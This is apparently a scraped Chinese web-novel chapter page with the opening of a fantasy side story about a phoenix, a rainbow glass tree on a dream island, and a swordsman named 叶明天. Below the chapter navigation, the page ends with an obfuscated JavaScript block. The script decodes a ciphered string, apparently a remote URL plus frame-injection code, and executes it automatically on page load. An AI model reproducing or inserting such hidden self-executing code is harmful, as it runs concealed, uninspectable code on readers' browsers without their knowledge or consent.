返回

苍茫歌

首页
关灯
护眼
字体:
琉璃树下(1)

  缤纷系列共包括四个番外:琉璃树下、云雀、归来、天涯。每一个都是独立的故事。   曾有人问我,你做过最美丽的梦是什么?   我笑着对他说,我做的梦处在虚幻和现实的边缘,那里只有一棵彩色的琉璃树,在那棵琉璃树下,我的心也随着我的梦度过了一生的岁月。   ……   风吹,梦动,苍茫的画笔染了整个天涯。   在一片黑色的天空之下,一个黑发男子伫立在苍茫之颠,已经不知是黑夜还是白昼了,又或许那个世界根本就没有白昼和黑夜之分,想来只有寂寞和孤独到了极致的人才会分出黑夜和白天吧!   他的目光尽头,就是整个黑色的宇宙。   那是落寞的尽头,在那里,风迷乱地吹舞。   在那里,时光慢慢流淌,岁月在瞬间跳跃,变成一片虚无的光影。   终于,从那黑色的天空之下慢慢出现了一道漩涡,而从那漩涡之中飞出了一只金色的鸟儿,仔细一看,那鸟儿竟是一只凤凰!那是真正的凤凰!因为它遍体是耀眼的金色,七彩丽尾,带着高傲而不可一世的光芒!   那鸟儿盘旋而下,竟是忽然间停住不动了,因为它看见了山峰上的那个黑发男子。   凤凰是天地灵兽,一世披着神秘的朦胧面纱,与龙齐名,腾飞在每一个人的梦中。   它也是有心的啊!它也是有自己的灵魂的啊!   不知似乎是一种岁月深处的滞留,它就这么看着那个男子,仿佛是回到了某一个时间点一般。   就在那凤凰从天空的漩涡中翱翔而至的一刻间,整个天空就像被一个冥冥的力量束缚了。整个黑色的,落寞而恐怖的黑暗逐渐散去,只是一个呼吸间,它就变成了它原有的颜色。   太阳依然在空中,一如既往,没有变过丝毫,那灿烂的光芒掠过整个苍茫。   如若梦幻。   再看时,那里还有那凤凰的身影?   在世间的人们都觉得奇怪,因为他们都在那一刻抬头望了望,那天空在瞬间闪烁了一下,不过从来就没有变成过黑暗。   那山峰之颠,男子的黑发在迷乱的风中狂舞。   一切都是一个梦,他默默地想。   …………   那是一座海上的孤岛,在大海之中也消失了原本的颜色。那是一座梦中的岛屿,这么说也不为过。因为那岛屿之上并不是我们常见的黄土地或是青色的芳香。而是七彩的,梦幻之中才能有的颜色。   是的,那岛屿仿佛是飘在空中的一般,仙一样的岛屿,却比仙岛更加美丽。在那岛屿之上是七彩的祥云,祥云之上是一座贯穿了整个渺小的岛屿的清黄色山峰。红,黄,紫,绿相间的树开满了整个山坡。   不过这里却没有花朵,哪怕是一株也没有。这里的山峰之上除了树就是黄色的草。还有在天上孤飞的蝴蝶和美丽的鸟儿。   不过令人诧异的是,这里的确是没有一点声音的,死寂用来形容这么美丽的岛屿实在不合适。可是除了死寂之外,又只有安静到了孤独的意味才能稍稍概括一下这岛上的光景。   这岛上最为神奇的是岛中央的那一棵与众不同的大树,它太过于耀眼,太过于与众不同了 仿佛就是世界间一切美好的化身一般。   它比上其他树木的十倍都要大,给人的感觉是一眼望不到高处的尽头,它似乎就连着天穹一般。   那棵树的颜色是令人无比神往的七彩颜色。那是赤橙红绿青蓝紫的光芒,是彩虹的颜色,也是太阳的荣耀。它就那么有机地结合在每一片跃动着光辉的叶子上,映照在泛黄的树桠尖。   “曾经有个人对我说,那棵树是永远扑朔迷离了,包括那座岛也是。因为它只是存在于我们梦中深处的东西,是一种超脱尘世的美好。”   “不过那棵树和那座岛都有一个美丽的名字,那座岛叫做天涯岛,那棵树叫做琉璃树。传说在琉璃树下许愿的人,都可以得到不属于世间的圣女月琉璃的眷顾,从而踏上美丽的九色云梯,达到梦的顶端,摘下那琉璃树的一片叶子。”   “那片叶子上闪耀着一个绚烂的符号,那个符号,细看了什么都不是,远看却让人蓦然一惊 那是一只美丽的凤凰!”   …………   琉璃树下(1)   光影轮转,那片海还是那片海,只是人已去,茶已凉,物是人非,已经不再从前。   记得那是几百年前的一个夏天,一个偶然的梦,他来到了那座美丽的天涯岛上去。   至于为什么,或许只有身在其中的才能明白吧!只不过他是一个没有心的人,没有灵魂,像是一个蜗牛只剩下了空壳一般,只能苟且生存。   他生活在世界被繁华冷却了的一隅,可是他的手中还是有一把剑。那把剑燃烧着青色的光芒,没有人知道那把剑何时被取出,有没有沾染上无尽的鲜血和腥味。有没有穿透那痛了许久的心。   那把剑叫做长青剑,那个人叫做叶明天。   他只是一个繁华尘世的过客,又或许他真正的使命早已被忘记,他只知道自己将要为了什么而活,那就是这把剑再拔起的时候,就是一些东西彻底的毁灭。   他空洞的眼眸倒映着七彩的光芒,他在等待,等待自己醒来的瞬间,然后洒下漫天的血。   可是他真的等的来这一天么?   有人说堕入梦境的人,一种难以自拔,一种会杀光梦里梦外所有的人。   他漠然,像一具傀儡,一步一步,艰难而又僵硬,终于是走到了那岛屿的顶端,那座山峰的顶端,那颗美丽的树下。   他的目光也在那一瞬遥望着那高耸入云的大树,那树的左右,没有花,只有泛黄的枯草。   那草或许还没有枯萎,只是早已不再生长,仿佛永远停留在了一个原点,一个记忆的原点。   无言,只是他忽然感觉到那座岛屿开始动了,让人心惊的动。仿佛在无休止地旋转着,如同一个漩涡。但是他明白,这一切都是因为那座岛屿的中央是一棵树,那棵叫做琉璃的树。   隔绝了时光,也隔绝了岁月的痕迹,映着璀璨而又苍凉的梦幻颜色。和永远不能褪去的那一层忧伤落寞。   他的心早已停止了跳动,因为他早已陷入了梦中,梦里什么都没有,什么都没有了。只有一棵美丽的琉璃树。   周围静悄悄的,如同死寂一般。不停的有鸟儿从天边划过,它们仿佛张着嘴在低吟,在放声高歌,只是这片岛屿隔绝了一切,他们传不出任何的声音。   或许这本就是在时光的纬度之中不存在的一角,此刻它就像永远存在于梦里的那片芬芳。   可是过于美丽的东西是会刺痛人心的,过于恍惚而真实的梦也会让人陷入无尽的深渊之中。就像那树叶,总有一天它们会凋落的,像一只只七彩的蝴蝶,被无可奈何的风吹落。   就像今天,就像这个岛上的那颗树,再见到那男子的一刹那,它仿佛不受控制地落泪一般,流下了遍地的七彩树叶。那些树叶飘飞在空中,却只飘落在他的身上,肩上,黑色的长发上。   不久,他的身下就已经布满了半腿高的树叶。   他伸手摸了摸飞舞的树叶,颜色那么美丽,那是只有在梦中才有的颜色。可是在手中,却变得那么光滑,根本无法握住。   他半跪了下来,像往常一般朝着那棵树轻轻念着,仿佛在念动什么咒语一般,可是只有他自己知道,这是在朝着那棵树许愿。   许下什么愿望?没有人知道了,但是我们看见,那棵树的确没有给予任何反应。仿佛在生气,在绝望,早已没有了知觉,只剩下了一堆朽木。   慢慢地,不知过了多久。   那男子的脸庞上忽然划过一滴露珠。哦,那不是露珠,而是从那空洞的眼眸之中流出的一滴眼泪,眼泪,是心灵灰烬的蒸发,也是对于命运的追悔。   他的的确确是跪在了地上。向着那片美丽而悲凉的琉璃树。


  





上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();